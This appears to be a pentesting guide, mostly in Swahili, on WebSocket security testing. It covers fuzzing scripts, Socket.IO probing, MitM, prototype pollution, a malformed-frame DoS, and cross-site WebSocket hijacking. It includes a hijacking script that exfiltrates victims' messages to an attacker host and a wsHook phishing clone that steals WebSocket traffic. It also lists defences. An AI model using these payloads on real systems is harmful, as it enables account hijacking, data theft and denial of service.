WebSocket Mashambulizi

Reading time: 14 minutes

WebSockets ni nini

Muunganisho wa WebSocket huanzishwa kupitia handshake ya awali ya HTTP na yameundwa kuwa ya muda mrefu, kuruhusu ujumbe wa pande mbili wakati wowote bila haja ya mfumo wa transaksheni. Hii inafanya WebSockets kuwa na faida hasa kwa programu zinazohitaji latency ya chini au mawasiliano yanayotokana na server, kama vile stream za data za kifedha za moja kwa moja.

Uanzishaji wa Muunganisho wa WebSocket

Maelezo ya kina kuhusu uanzishaji wa muunganisho wa WebSocket yanaweza kupatikana here. Kwa muhtasari, muunganisho wa WebSocket kwa kawaida huanzishwa kupitia JavaScript ya upande wa mteja kama ilivyoonyeshwa hapa chini:

var ws = new WebSocket("wss://normal-website.com/ws")

Itifaki ya wss inaashiria muunganisho wa WebSocket uliolindwa na TLS, wakati ws inaonyesha muunganisho usio salama.

Wakati wa kuanzishwa kwa muunganisho, handshake hufanyika kati ya kivinjari na seva kupitia HTTP. Mchakato wa handshake unahusisha kivinjari kutuma ombi na seva kujibu, kama ilivyoonyeshwa katika mifano ifuatayo:

Kivinjari kinatuma ombi la handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Jibu la handshake la server:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Muunganisho unabaki wazi kwa kubadilishana ujumbe katika pande zote mbili baada ya kuanzishwa.

Mambo Muhimu ya WebSocket Handshake:

• Vichwa vya Connection na Upgrade vinaashiria kuanzishwa kwa WebSocket Handshake.
• Kichwa cha Sec-WebSocket-Version kinaonyesha toleo la itifaki la WebSocket linalotakiwa, kawaida 13.
• Thamani isiyotarajiwa iliyochapwa kwa Base64 inatumwa kwenye kichwa cha Sec-WebSocket-Key, kuhakikisha kila handshake ni ya kipekee, jambo ambalo husaidia kuzuia matatizo yanayotokana na caching proxies. Thamani hii si kwa ajili ya authentication bali kuthibitisha kwamba response haijatengenezwa na server au cache iliyopangwa vibaya.
• Kichwa cha Sec-WebSocket-Accept kwenye response ya server ni hash ya Sec-WebSocket-Key, ikithibitisha nia ya server ya kufungua muunganisho wa WebSocket.

Vipengele hivi vinahakikisha mchakato wa handshake ni salama na wa kuaminika, na kufungua njia kwa mawasiliano ya muda halisi yenye ufanisi.

Konsoli ya Linux

Unaweza kutumia websocat kuanzisha muunganisho wa raw na websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Au kuunda websocat server:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket muunganisho

Ikiwa utagundua kuwa wateja wameunganishwa kwa HTTP websocket kutoka kwenye mtandao wako wa ndani unaweza kujaribu ARP Spoofing Attack ili kufanya MitM attack kati ya mteja na seva.
Mara mteja anapojaribu kuunganishwa kwako unaweza kisha kutumia:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets uorodheshaji

Unaweza kutumia tool https://github.com/PalindromeLabs/STEWS kugundua, fingerprint na kutafuta vulnerabilities zilizojulikana kwenye websockets kwa kiotomatiki.

Websocket Zana za Debug

• Burp Suite inasaidia MitM websockets communication kwa njia inayofanana sana na ile ya mawasiliano ya kawaida ya HTTP.
• The socketsleuth Burp Suite extension itakuwezesha kusimamia vizuri zaidi Websocket communications ndani ya Burp kwa kupata history, kuweka interception rules, kutumia match and replace rules, kutumia Intruder na AutoRepeater.
• WSSiP: Short for "WebSocket/Socket.io Proxy", tool hii, iliyoandikwa kwa Node.js, inatoa user interface ya capture, intercept, send custom messages na kuonyesha mawasiliano yote ya WebSocket na Socket.IO kati ya client na server.
• wsrepl ni interactive websocket REPL iliyoundwa mahsusi kwa penetration testing. Inatoa kiolesura cha kuangalia incoming websocket messages and sending new ones, na framework rahisi kutumia kwa automating mawasiliano haya.
• https://websocketking.com/ ni tovuti ya kuwasiliana na wavuti nyingine kwa kutumia websockets.
• https://hoppscotch.io/realtime/websocket pamoja na aina nyingine za communications/protocols, inatoa tovuti ya kuwasiliana na wavuti nyingine kwa kutumia websockets.

Kufungua Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Websocket Lab

Katika Burp-Suite-Extender-Montoya-Course una code ya kuanzisha tovuti inayotumia websockets na katika this post unaweza kupata maelezo.

Websocket Fuzzing

Extension ya Burp Backslash Powered Scanner sasa inaruhusu kufuzz pia WebSocket messages. Unaweza kusoma taarifa zaidi kuhusu hili hapa.

WebSocket Turbo Intruder (Burp extension)

PortSwigger's WebSocket Turbo Intruder inaleta Turbo Intruder–style Python scripting na high‑rate fuzzing kwa WebSockets. Sakinisha kutoka BApp Store au kutoka source. Inajumuisha vipengele viwili:

• Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines.
• HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends.

Mufano wa script ya msingi ya kufuzz WS endpoint na kuchuja majibu yanayofaa:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Tumia decorators kama @MatchRegex(...) kupunguza kelele wakati ujumbe mmoja unasababisha majibu mengi.

Daraja la WS nyuma ya HTTP (HTTP Middleware)

Funga muunganisho wa WS unaodumu na upeleke miili ya HTTP kama ujumbe za WS kwa ajili ya upimaji otomatiki na HTTP scanners:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Kisha tuma HTTP kwa ndani; mwili unapitishwa kama ujumbe wa WS:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Hii inakuwezesha kuendesha backend za WS huku ukichuja matukio 'ya kuvutia' (mfano, SQLi errors, auth bypass, command injection behavior).

Socket.IO kusimamia (handshake, heartbeats, events)

Socket.IO huongeza framing yake juu ya WS. Gundua kwa kutumia query parameter inayotakiwa EIO (kwa mfano, EIO=4). Weka session hai kwa kutumia Ping (2) na Pong (3) na anza mazungumzo na "40", kisha tuma matukio kama 42["message","hello"].

Intruder mfano:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Toleo la adapter ya HTTP:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Kugundua server‑side prototype pollution kupitia Socket.IO

Kwa kufuata PortSwigger’s safe detection technique, jaribu polluting Express internals kwa kutuma payload kama:

{"__proto__":{"initialPacket":"Polluted"}}

If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See:

• Angalia NodeJS – proto & prototype Pollution kwa sinks/gadgets na mawazo ya chaining.

WebSocket race conditions with Turbo Intruder

The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in config().

• Jifunze methodolojia na mbadala katika Race Condition (tazama “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near Integer.MAX_VALUE can cause Out‑Of‑Memory and a remote unauth DoS. See the example script.

CLI and debugging

• Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
• Enable the WS Logger to capture and correlate messages using internal IDs.
• Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
• Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, is identified as a specific case of Cross-Site Request Forgery (CSRF) affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via HTTP cookies without CSRF tokens or similar security measures.

Attackers can exploit this by hosting a malicious web page that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.

In order for this attack to work, these are the requirements:

• The websocket authentication must be cookie based
• The cookie must be accessible from the attackers server (this usually means SameSite=None) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome.
• The websocket server must not check the origin of the connection (or this must be bypasseable)

Also:

• If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)

Simple Attack

Kumbuka kwamba wakati wa kuanzisha connection ya websocket, cookie inatumwa kwa server. Server inaweza kuitumia kuhusisha kila mtumiaji maalum na websocket session yake kwa msingi wa cookie iliyotumwa.

Kisha, kwa mfano ikiwa websocket server inarejesha historia ya mazungumzo ya mtumiaji ikiwa msg yenye "READY" itatumwa, basi XSS rahisi inayoongeza connection (cookie itatumwa moja kwa moja ili kumruhusu mwathirika) ikituma "READY" itakuwa na uwezo wa kupata historia ya mazungumzo.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie na subdomain tofauti

Katika blog post hii https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ mshambuliaji aliweza kutekeleza arbitrary Javascript kwenye subdomain ya domain ambapo mawasiliano ya websocket yalifanyika. Kwa sababu ilikuwa subdomain, cookie ilikuwa ikitumwa, na kwa sababu Websocket haikuangalia Origin ipasavyo, ilikuwa inawezekana kuwasiliana nayo na kuiba tokens kutoka kwake.

Kuiba data kutoka kwa mtumiaji

Nakili web application unayotaka kujifanya (the .html files kwa mfano) na ndani ya script ambapo mawasiliano ya websocket yanatokea ongeza code hii:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Sasa pakua faili wsHook.js kutoka https://github.com/skepticfx/wshook na ihifadhi ndani ya folda yenye faili za wavuti.
Ukiweka web application hadharani na kumfanya mtumiaji aungane nayo utaweza kuiba ujumbe uliotumwa na uliopokelewa kupitia websocket:

sudo python3 -m http.server 80

Ulinzi wa CSWSH

Shambulio la CSWSH linategemea ukweli kwamba mtumiaji ataunganisha kwenye ukurasa mbaya ambao utafungua websocket connection kwa ukurasa wa wavuti ambapo mtumiaji tayari ameunganishwa na utafanya kuidhinishwa kwa niaba yake kwa sababu ombi litaituma cookies za mtumiaji.

Hivi sasa, ni rahisi sana kuzuia tatizo hili:

• Websocket server checking the origin: Server ya websocket inapaswa kila mara kuangalia kutoka wapi mtumiaji anaungana ili kuzuia kurasa zisizotarajiwa kuungana nayo.
• Authentication token: Badala ya kuweka msingi wa authentication kwenye cookie, websocket connection inaweza kuendeshwa kwa token inayozalishwa na server kwa mtumiaji ambayo mshambuliaji haijui (kama anti-CSRF token).
• SameSite Cookie attribute: Cookies zenye thamani ya SameSite kama Lax au Strict hazitatumwa kutoka kwenye ukurasa wa mshambuliaji wa nje kwenda server ya mwathiri, kwa hivyo authentication inayotegemea cookie haitafanikiwa. Kumbuka kuwa Chrome sasa huweka thamani Lax kwa cookies ambazo hazijaainishwa na flag hii, na kufanya hii kuwa salama kwa default. Hata hivyo, katika dakika mbili za kwanza baada ya cookie kuundwa itakuwa na thamani None, na kuifanya iwe hatarini kwa kipindi hicho kifupi (pia inatarajiwa kuwa kipimo hiki kitabadilishwa baadaye).
• Firefox Total Cookie Protection: Total Cookie Protection hufanya kazi kwa kutenganisha cookies kwenye tovuti ambazo zimetengenezwa. Kimsingi kila tovuti ina sehemu yake ya kuhifadhi cookies ili kuzuia washiriki wa tatu kuunganisha historia ya kuvinjari ya mtumiaji. Hii inafanya CSWSH isiyotumika kwani tovuti ya mshambuliaji haitakuwa na ufikiaji wa cookies.
• Chrome third-party cookies block: Hii pia inaweza kuzuia kutumwa kwa cookie ya mtumiaji aliyeidhinishwa kwa server ya websocket hata ikiwa SameSite=None.

Race Conditions

Race Conditions katika WebSockets pia zipo, check this information to learn more.

Udhaifu mwingine

Kwa kuwa Web Sockets ni njia ya kutuma data kwa upande wa server na upande wa client, kulingana na jinsi server na client zinavyoshughulikia taarifa, Web Sockets zinaweza kutumika kutekeleza udhaifu mwingine kama XSS, SQLi au udhaifu mwingine wa kawaida wa web ukitumia input ya mtumiaji kutoka websocket.

WebSocket Smuggling

Udhaifu huu unaweza kukuruhusu kupitisha vizuizi vya reverse proxies kwa kuwafanya waamini kwamba mawasiliano ya websocket yalianzishwa (hata kama sio kweli). Hii inaweza kumruhusu mshambuliaji kupata endpoints zilizofichwa. Kwa taarifa zaidi angalia ukurasa ufuatao:

Upgrade Header Smuggling

References

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
• WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
• WebSocket Turbo Intruder – BApp Store
• WebSocketTurboIntruder – GitHub
• Turbo Intruder background
• Server-side prototype pollution – safe detection methods
• WS RaceCondition PoC (Java)
• RaceConditionExample.py
• PingOfDeathExample.py